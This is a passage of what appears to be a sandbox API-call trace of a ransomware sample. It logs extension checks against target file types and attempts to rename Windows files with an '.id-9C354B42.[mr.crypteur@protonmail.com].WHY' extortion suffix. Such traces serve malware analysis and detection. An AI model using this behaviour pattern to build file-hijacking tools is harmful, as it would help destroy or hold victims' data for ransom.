lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.236] lstrlenW (lpString=".zip") returned 4 [0215.236] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0215.237] lstrlenW (lpString=".rar") returned 4 [0215.237] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0215.237] lstrlenW (lpString=".bz2") returned 4 [0215.237] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0215.237] lstrlenW (lpString=".7z") returned 3 [0215.237] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0215.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.237] lstrlenW (lpString=".dbf") returned 4 [0215.237] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0215.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.237] lstrlenW (lpString=".1cd") returned 4 [0215.237] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0215.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.238] lstrlenW (lpString=".jpg") returned 4 [0215.238] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0215.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.238] lstrlenW (lpString=".doc") returned 4 [0215.238] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0215.238] lstrlenW (lpString=".docx") returned 5 [0215.238] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0215.238] lstrlenW (lpString=".pdf") returned 4 [0215.238] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0215.238] lstrlenW (lpString=".xls") returned 4 [0215.238] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0215.239] lstrlenW (lpString=".xlsx") returned 5 [0215.239] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0215.239] lstrlenW (lpString=".ppt") returned 4 [0215.239] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0215.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.239] lstrlenW (lpString=".zip") returned 4 [0215.239] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0215.239] lstrlenW (lpString=".rar") returned 4 [0215.239] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0215.239] lstrlenW (lpString=".bz2") returned 4 [0215.239] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0215.239] lstrlenW (lpString=".7z") returned 3 [0215.239] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0215.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.241] lstrlenW (lpString=".dbf") returned 4 [0215.241] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0215.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.241] lstrlenW (lpString=".1cd") returned 4 [0215.241] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0215.242] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0215.242] lstrlenW (lpString=".jpg") returned 4 [0215.242] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0215.242] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0215.243] lstrlenW (lpString="base_altgr.xml") returned 14 [0215.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0219.862] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3161) returned 1 [0219.862] CloseHandle (hObject=0x37c) returned 1 [0219.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0219.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.869] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.869] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.869] lstrlenW (lpString=".doc") returned 4 [0219.869] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.869] lstrlenW (lpString=".docx") returned 5 [0219.869] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0219.870] lstrlenW (lpString=".pdf") returned 4 [0219.870] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.870] lstrlenW (lpString=".xls") returned 4 [0219.870] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.870] lstrlenW (lpString=".xlsx") returned 5 [0219.870] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0219.870] lstrlenW (lpString=".ppt") returned 4 [0219.870] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.870] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.870] lstrlenW (lpString=".zip") returned 4 [0219.870] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.870] lstrlenW (lpString=".rar") returned 4 [0219.871] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.871] lstrlenW (lpString=".bz2") returned 4 [0219.871] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.871] lstrlenW (lpString=".7z") returned 3 [0219.871] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.871] lstrlenW (lpString=".dbf") returned 4 [0219.871] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.871] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.871] lstrlenW (lpString=".1cd") returned 4 [0219.872] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.872] lstrlenW (lpString=".jpg") returned 4 [0219.872] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.872] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.872] lstrlenW (lpString=".doc") returned 4 [0219.872] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.872] lstrlenW (lpString=".docx") returned 5 [0219.872] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0219.873] lstrlenW (lpString=".pdf") returned 4 [0219.873] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.873] lstrlenW (lpString=".xls") returned 4 [0219.873] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.873] lstrlenW (lpString=".xlsx") returned 5 [0219.873] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0219.873] lstrlenW (lpString=".ppt") returned 4 [0219.873] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.873] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.873] lstrlenW (lpString=".zip") returned 4 [0219.873] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.873] lstrlenW (lpString=".rar") returned 4 [0219.873] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.874] lstrlenW (lpString=".bz2") returned 4 [0219.874] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.874] lstrlenW (lpString=".7z") returned 3 [0219.874] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.874] lstrlenW (lpString=".dbf") returned 4 [0219.874] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.874] lstrlenW (lpString=".1cd") returned 4 [0219.874] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.874] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0219.874] lstrlenW (lpString=".jpg") returned 4 [0219.875] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.875] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0219.875] lstrlenW (lpString="hwrusalm.dat") returned 12 [0219.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0219.877] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=3195696) returned 1 [0219.877] CloseHandle (hObject=0x37c) returned 1 [0219.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0219.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0219.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.878] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.878] lstrlenW (lpString=".doc") returned 4 [0219.878] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.878] lstrlenW (lpString=".docx") returned 5 [0219.878] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0219.878] lstrlenW (lpString=".pdf") returned 4 [0219.878] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.878] lstrlenW (lpString=".xls") returned 4 [0219.878] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.878] lstrlenW (lpString=".xlsx") returned 5 [0219.878] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0219.879] lstrlenW (lpString=".ppt") returned 4 [0219.879] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.879] lstrlenW (lpString=".zip") returned 4 [0219.879] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.879] lstrlenW (lpString=".rar") returned 4 [0219.879] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.879] lstrlenW (lpString=".bz2") returned 4 [0219.879] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.879] lstrlenW (lpString=".7z") returned 3 [0219.879] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.879] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.879] lstrlenW (lpString=".dbf") returned 4 [0219.880] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.880] lstrlenW (lpString=".1cd") returned 4 [0219.880] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.880] lstrlenW (lpString=".jpg") returned 4 [0219.880] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.880] lstrlenW (lpString=".doc") returned 4 [0219.880] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.880] lstrlenW (lpString=".docx") returned 5 [0219.881] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0219.881] lstrlenW (lpString=".pdf") returned 4 [0219.881] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.881] lstrlenW (lpString=".xls") returned 4 [0219.881] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.881] lstrlenW (lpString=".xlsx") returned 5 [0219.881] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0219.881] lstrlenW (lpString=".ppt") returned 4 [0219.882] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.882] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.882] lstrlenW (lpString=".zip") returned 4 [0219.882] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.882] lstrlenW (lpString=".rar") returned 4 [0219.882] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.882] lstrlenW (lpString=".bz2") returned 4 [0219.882] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.882] lstrlenW (lpString=".7z") returned 3 [0219.883] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.883] lstrlenW (lpString=".dbf") returned 4 [0219.883] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.883] lstrlenW (lpString=".1cd") returned 4 [0219.883] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.883] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0219.883] lstrlenW (lpString=".jpg") returned 4 [0219.883] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.884] lstrcmpiW (lpString1=".dat", lpString2=".WHY") returned -1 [0219.884] lstrlenW (lpString="hwrusash.dat") returned 12 [0219.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0219.885] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=4120784) returned 1 [0219.885] CloseHandle (hObject=0x37c) returned 1 [0219.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0219.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.885] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0219.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.886] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.886] lstrlenW (lpString=".doc") returned 4 [0219.886] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.886] lstrlenW (lpString=".docx") returned 5 [0219.886] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0219.886] lstrlenW (lpString=".pdf") returned 4 [0219.886] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.886] lstrlenW (lpString=".xls") returned 4 [0219.886] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.886] lstrlenW (lpString=".xlsx") returned 5 [0219.887] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0219.887] lstrlenW (lpString=".ppt") returned 4 [0219.887] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.887] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.887] lstrlenW (lpString=".zip") returned 4 [0219.887] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.887] lstrlenW (lpString=".rar") returned 4 [0219.887] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.887] lstrlenW (lpString=".bz2") returned 4 [0219.887] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.887] lstrlenW (lpString=".7z") returned 3 [0219.888] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.888] lstrlenW (lpString=".dbf") returned 4 [0219.888] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.888] lstrlenW (lpString=".1cd") returned 4 [0219.888] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.888] lstrlenW (lpString=".jpg") returned 4 [0219.888] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.888] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.889] lstrlenW (lpString=".doc") returned 4 [0219.889] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0219.889] lstrlenW (lpString=".docx") returned 5 [0219.889] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0219.889] lstrlenW (lpString=".pdf") returned 4 [0219.889] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0219.889] lstrlenW (lpString=".xls") returned 4 [0219.889] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0219.889] lstrlenW (lpString=".xlsx") returned 5 [0219.889] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0219.890] lstrlenW (lpString=".ppt") returned 4 [0219.890] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0219.890] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.890] lstrlenW (lpString=".zip") returned 4 [0219.890] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0219.890] lstrlenW (lpString=".rar") returned 4 [0219.890] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0219.890] lstrlenW (lpString=".bz2") returned 4 [0219.890] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0219.890] lstrlenW (lpString=".7z") returned 3 [0219.890] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0219.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.891] lstrlenW (lpString=".dbf") returned 4 [0219.891] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0219.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.891] lstrlenW (lpString=".1cd") returned 4 [0219.891] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0219.891] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat") returned 63 [0219.891] lstrlenW (lpString=".jpg") returned 4 [0219.891] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0219.892] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0219.892] lstrlenW (lpString="ipscat.xml") returned 10 [0219.892] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0219.893] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2e2ff1c | out: lpFileSize=0x2e2ff1c*=2592) returned 1 [0219.893] CloseHandle (hObject=0x37c) returned 1 [0219.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml")) returned 0x20 [0219.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0219.894] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0219.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.894] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.894] lstrlenW (lpString=".doc") returned 4 [0219.894] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.895] lstrlenW (lpString=".docx") returned 5 [0219.895] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0219.895] lstrlenW (lpString=".pdf") returned 4 [0219.895] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.895] lstrlenW (lpString=".xls") returned 4 [0219.895] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.895] lstrlenW (lpString=".xlsx") returned 5 [0219.895] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0219.895] lstrlenW (lpString=".ppt") returned 4 [0219.895] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.896] lstrlenW (lpString=".zip") returned 4 [0219.896] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.896] lstrlenW (lpString=".rar") returned 4 [0219.896] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.896] lstrlenW (lpString=".bz2") returned 4 [0219.896] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.896] lstrlenW (lpString=".7z") returned 3 [0219.896] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.896] lstrlenW (lpString=".dbf") returned 4 [0219.896] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0219.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.897] lstrlenW (lpString=".1cd") returned 4 [0219.897] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0219.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.897] lstrlenW (lpString=".jpg") returned 4 [0219.897] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0219.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.897] lstrlenW (lpString=".doc") returned 4 [0219.897] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0219.898] lstrlenW (lpString=".docx") returned 5 [0219.898] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0219.898] lstrlenW (lpString=".pdf") returned 4 [0219.898] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0219.898] lstrlenW (lpString=".xls") returned 4 [0219.898] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0219.898] lstrlenW (lpString=".xlsx") returned 5 [0219.898] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0219.898] lstrlenW (lpString=".ppt") returned 4 [0219.898] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0219.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml") returned 61 [0219.898] lstrlenW (lpString=".zip") returned 4 [0219.898] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0219.899] lstrlenW (lpString=".rar") returned 4 [0219.899] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0219.899] lstrlenW (lpString=".bz2") returned 4 [0219.899] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0219.899] lstrlenW (lpString=".7z") returned 3 [0219.899] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0219.899] lstrlenW 